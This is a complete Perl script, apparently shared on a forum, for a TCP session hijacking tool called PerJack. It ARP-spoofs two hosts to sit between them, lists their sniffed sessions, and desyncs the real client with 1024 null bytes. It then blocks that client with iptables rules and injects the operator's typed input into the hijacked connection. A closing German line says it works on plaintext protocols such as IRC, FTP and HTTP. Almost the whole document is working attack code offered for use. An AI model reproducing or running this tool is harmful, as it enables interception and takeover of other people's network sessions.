Code:
#!/usr/bin/perl
# PerJack
# by Cheese
=begin INFO
PerJack is a TCP Session Hijack tool written in Perl. The tools I've
tested don't worked anyway for me or got other problems like don't
sending ACKs for incoming hijacked data. Then I discovered some
interesting modules for Perl which i thought can handle the term of
TCP session hijacking. PerJack got some parts that really are not
optimal but are simple and work perfect, so in case of block packets
from the original keeper of the connection it uses /sbin/iptables and
so on.
It requires following additional Perl modules, you should install them
with CPAN. Run "cpan" and install with "install <packetname>"
Net::Arp
Net::RawIP
Net::Pcap
Net::Pcap::Easy
The "iptables" programm is required, you may flush your forward
rules after using PerJack, "iptables -F FORWARD".
In case of doing a Man-in-the-Middle attack "ip_forward" is used, the
file to activate this should be located at "/proc/sys/ipv4/ip_forward"
but the path can be changed at the start of the code.
To run PerJack you have to specify an [A] and [B] host, [A] is the
side of the connection you are going to steal [B] is the other side
or if the real target is not in the subnet the gateway. Perjack first
resolves the MAC addresses (if they are not specified at start), you
should ping them first to cache the MAC's. Then it sends a spoofed
ARP packet to start a man-in-the-middle attack. All sessions that are
noticed are printed to the display, you have to choose the on you want
to hijack by typing in the number. After that PerJack waits for another
packet transferred from [A] to [B] in order to get a working SEQ / ACK.
As soon a packet is found it will send 1024 bytes of 0x00 to [B], so
the [A] host is desynchronised. Now everything you enter is send in
the hijacked session. Incoming data is printed to the screen and
answered with an ACK packet. The [A] host is blocked using iptables
because he is able to reset the connection even if he is desynced.
=end INFO
=cut
our $iptables = "/sbin/iptables";
our $ip_forward = "/proc/sys/net/ipv4/ip_forward";
print q{
myCheese.org cheese@mymail.ch
=============================================================================
_________ __
| ___ | | | _
| | / / ____ _ ____ | | ____ _____ | | _
| |_/ / / __ \ | |/ ___| | | |____ \ | ___| | | / /
| ___/ / /__\ \ | / | | ____| | | | | |/ /
| | | _____/ | | __ | | / __ | | | | |
| | \ \____ | | | \__| | | |__| | \ \__ | |\ \
|__| \____/ |_| \_______/ \______/ \___| |_| \_\
by Cheese
-=[ PerJack ]=-
-=[ Perl TCP Session Hijacker ]=-
==============================================================================
}; sub usage { print q{
Usage: ./perjack.pl [OPTIONS]
Options: FLAG DISCRIPTION DEFAULT
-i <iface> Interface to use eth0
-a <ip> IP address of the first target (A) (required)
-b <ip> IP address of the second target (B) (required)
-A <mac> MAC address of the first target (A) (auto)
-B <mac> MAC address of the second target (B) (auto)
-x <mac> MAC address of the attacker (you) (auto)
-s <seconds> Sleeptime between "reARPing" 10
-n No Man-in-the-Middle attack
-h This help text
}; exit; }
use Net::ARP;
use Net::RawIP;
use Net::Pcap::Easy;
use strict;
use Getopt::Std;
use threads;
use threads::shared;
use Switch;
no warnings 'threads';
if($< != 0){ die(" [!] Error: are you root?"); }
our ($opt_a,$opt_b,$opt_A,$opt_B,$opt_x,$opt_h,$opt_i,$opt_s,$opt_n);
getopts('a:b:A:B:x:h:i:s:n');
if($opt_h || !$opt_a) { usage(); }
(our $iface = $opt_i) ||= "eth0";
print " [*] Using interface $iface.\n";
our($a_ip) = $opt_a =~ m/((\d+)(\.\d+){3})/;
if(length($a_ip)<7) { die(" [!] Error: bad IP address for target A"); } else { print " [*] Using $a_ip for target A.\n" }
if(!$opt_n) {
our($b_ip) = $opt_b =~ m/((\d+)(\.\d+){3})/;
if(length($b_ip)<7) { die(" [!] Error: bad IP address for target B"); } else { print " [*] Using $b_ip for target B.\n" }
(our $my_mac = $opt_x) ||= Net::ARP::get_mac($iface); #thx to 0x30
our($my_mac) = $my_mac =~ m/(([0-9A-F]{2})(:[0-9A-F]{2}){5})/i;
if(length($my_mac)!=17) { die(" [!] Error: bad mac address for attacker"); } else { print " [*] Using $my_mac as attacker mac address.\n"; }
(our $a_mac = $opt_A) ||= Net::ARP::arp_lookup($iface,$a_ip);
our($a_mac) = $a_mac =~ m/(([0-9A-F]{2})(:[0-9A-F]{2}){5})/i;
if(length($a_mac) != 17) { die(" [!] Error: bad mac address for target A, ping him to cache mac address and try again."); } else { print " [*] Using $a_mac as target A mac address.\n" }
(our $b_mac = $opt_B) ||= Net::ARP::arp_lookup($iface,$b_ip);
our($b_mac) = $b_mac =~ m/(([0-9A-F]{2})(:[0-9A-F]{2}){5})/i;
if(length($b_mac) != 17) { die(" [!] Error: bad mac address for target B, ping him to cache mac address and try again."); } else { print " [*] Using $b_mac as target B mac address.\n" }
open FILE, "<", $ip_forward or die $!;
if(<FILE> == 1) { print " [*] IP Forwarding already active.\n"; close FILE or die $!;} else {
close FILE or die $!;
print " [!] IP Forwarding seems off.\n";
our $loop = 1;
while($loop) {
undef $loop;
print " [!] Activate by writing '1' to '$ip_forward'? ([Y]es/[N]o/[I]gnore): ";
switch(<STDIN>) {
case m/^y/i {
open FILE, ">", $ip_forward or die $!;
print FILE 1;
close FILE or die $!;
open FILE, "<", $ip_forward or die $!;
if(<FILE> == 1) { print " [*] IP Forwarding now active.\n"; close FILE or die $!;}
else { die(" [!] Error: failed to activate IP Forwarding."); }
}
case m/^n/i { exit; }
case m/^i/i { print " [*] Continuing.\n"; }
else { our $loop = 1; }
}
}
}
(my $sleep = $opt_s) ||= 10;
my($sleep) = $sleep =~ m/([0-9]*)/;
if(length($sleep)<1) { die(" [!] Error: bad sleep time") } else { print " [*] Using $sleep seconds sleeptime.\n"; }
print " [*] Sending ARP packets every $sleep seconds.\n";
sub arp {
while(1) {
Net::ARP::send_packet($iface,$b_ip,$a_ip,$my_mac,$a_mac,'reply') or die (" [!] Error: problem sending ARP Packet");
Net::ARP::send_packet($iface,$a_ip,$b_ip,$my_mac,$b_mac,'reply') or die (" [!] Error: problem sending ARP Packet");
sleep($sleep);
}
}
my $arp_thread = new threads \&arp;
}
print "\n [*] Enter the number of the session you want to hijack.\n";
print " [*] Sessions:\n";
###
# Sniffing for Connections
my @sessions : shared;
my $sessioncount : shared = 0;
sub getsessions {
$SIG{'KILL'} = sub { threads->exit(); };
my $npe = Net::Pcap::Easy->new(
dev => $iface,
filter => "src host $a_ip and tcp",
packets_per_loop => 10,
bytes_to_capture => 1024,
timeout_in_ms => 0, # 0ms means forever
promiscuous => 0,
tcp_callback => sub {
my ($npe, $ether, $ip, $tcp) = @_;
if($ip->{src_ip}!=$a_ip){ return; }
foreach(@sessions) { if($_ eq "$ip->{src_ip}:$tcp->{src_port} --> $ip->{dest_ip}:$tcp->{dest_port}") { return; } }
$sessions[$sessioncount] = "$ip->{src_ip}:$tcp->{src_port} --> $ip->{dest_ip}:$tcp->{dest_port}";
print " [$sessioncount] $sessions[$sessioncount]\n";
$sessioncount++;
}
);
1 while $npe->loop;
}
my $getsessions_thread = new threads \&getsessions;
our $choice;
our $loop = 1;
while($loop) {
$choice = <STDIN>;
if($choice<$sessioncount) { undef $loop; }
}
$getsessions_thread->kill("KILL");
our($h_src_ip,$h_src_port,$h_dst_ip,$h_dst_port) = $sessions[$choice] =~ m/^([0-9.]+):(\d+) --> ([0-9.]+):(\d+)$/;
print "\n [*] Hijacking: $h_src_ip:$h_src_port --> $h_dst_ip:$h_dst_port\n";
print " [*] Wait for packet to get seq and ack.\n";
our($h_seq,$h_ack,$h_data);
my $npe = Net::Pcap::Easy->new(
dev => $iface,
filter => "src host $h_src_ip and src port $h_src_port and dst host $h_dst_ip and dst port $h_dst_port and tcp",
packets_per_loop => 1,
bytes_to_capture => 1024,
timeout_in_ms => 0,
promiscuous => 0,
tcp_callback => sub {
my ($npe, $ether, $ip, $tcp) = @_;
our($h_seq,$h_ack,$h_data) = ($tcp->{seqnum},$tcp->{acknum},$tcp->{data});
}
);
$npe->loop;
print " [*] SEQ: $h_seq, ACK: $h_ack\n";
$h_seq += length($h_data);
#send 1024 byte to desync real client
sendrawpacket($h_src_ip,$h_dst_ip,$h_src_port,$h_dst_port,$h_seq,$h_ack,1,0,"\x00"x1024);
$h_seq += 1024;
#start tcp daemon to senc ack for incoming packets and print the incoming data
my $tcpdaemon_thread = new threads \&tcpdaemon;
system("$iptables -A FORWARD -s $h_src_ip -p tcp --sport $h_src_port -j DROP"); # this sucks like hell, but the real client is still able to RST connection if he trys to exit
system("$iptables -A FORWARD -d $h_src_ip -p tcp --dport $h_src_port -j DROP");
print " [*] Everything you enter is send through the hijacked session\n" . "-"x70 . "\n";
#input loop
while(1) {
my $data = <stdin>;
sendrawpacket($h_src_ip,$h_dst_ip,$h_src_port,$h_dst_port,$h_seq,$h_ack,1,0,$data);
$h_seq += length($data);
}
###
# subroutines
# TCP daeomon to answer packetes and print content
sub tcpdaemon() {
my $npe = Net::Pcap::Easy->new(
dev => $iface,
filter => "src host $h_dst_ip and src port $h_dst_port and dst host $h_src_ip and dst port $h_src_port and tcp",
packets_per_loop => 1,
bytes_to_capture => 1024,
timeout_in_ms => 0,
promiscuous => 0,
tcp_callback => sub {
my ($npe, $ether, $ip, $tcp) = @_;
if($tcp->{seqnum} == $h_ack) {
$h_seq = $tcp->{acknum};
if(length($tcp->{data}) > 0) {
$h_ack += length($tcp->{data});
sendrawpacket($h_src_ip,$h_dst_ip,$h_src_port,$h_dst_port,$h_seq,$h_ack,1,0,'');
syswrite(STDOUT,$tcp->{data});
}
}
}
);
1 while $npe->loop;
}
# just send a single packet
sub sendrawpacket() {
my $n = Net::RawIP->new({
ip => {
saddr => shift,
daddr => shift,
},
tcp => {
source => shift,
dest => shift,
seq => shift,
ack_seq => shift,
ack => shift,
rst => shift,
data => shift,
},
});
$n->send;
}
(Getestet mit NetCat chat, IRC, FTP, HTTP(xD). Sollte bei jedem klartext Protokoll gehen)